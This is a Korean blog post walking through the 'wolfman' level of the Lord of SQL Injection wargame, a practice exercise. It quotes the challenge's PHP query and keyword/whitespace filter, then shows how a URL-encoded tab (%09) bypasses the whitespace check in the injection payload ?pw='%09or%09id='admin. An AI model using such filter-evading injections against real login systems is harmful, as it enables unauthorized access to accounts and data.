Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- MySQL
- css
- JS
- 과제
- 쿠키
- sql injection point
- lord of sqli
- union sql injection
- Los
- cookie 탈취
- Error based sql injection
- JWT
- 로그인페이지
- CTF
- 세션
- XSS
- 로그인
- sql injection
- cors
- file upload
- csrf
- lord of sql injection
- blind sql injection
- 웹개발
- Reflected Xss
- 모의해킹
- php
- Python
- 게시판 만들기
- Cross Site Request Forgery
Archives
- Today
- Total
Almon Dev
[Lord of SQL Injection] wolfman 풀이 본문
LOS 풀이
wolfman
풀이
1. 코드 분석
GET메서드의 pw 파라미터가 쿼리에 삽입되며
쿼리의 결과 id가 admin일 경우 문제가 풀립니다.
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("wolfman");
공백을 필터링하는 부분이 추가되었습니다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
공백 필터링을 우회하기만 하면 쉽게 풀릴 것 같습니다.
공백을 대신할 \t(탭)를 활용하도록 하겠습니다.
\t의 url encoding 값은 %09입니다.
\t를 이용해서 쿼리문 삽입이 가능하다는 것을 확인했습니다.
(참일 경우 Hello guest 출력)
2. 쿼리 삽입
id 가 admin인 쿼리값을 가져와야 하기 때문에 or id='admin'을 삽입합니다.
select id from prob_wolfman where id='guest' and pw='' or id='admin'
?pw='%09or%09id='admin 파라미터를 삽입해 공격에 성공합니다.
'모의해킹 > Lord of SQLi' 카테고리의 다른 글
[Lord of SQL Injection] orge 풀이 (0) | 2025.01.06 |
---|---|
[Lord of SQL Injection] darkelf 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] orc 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] goblin 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] cobolt 풀이 (0) | 2025.01.06 |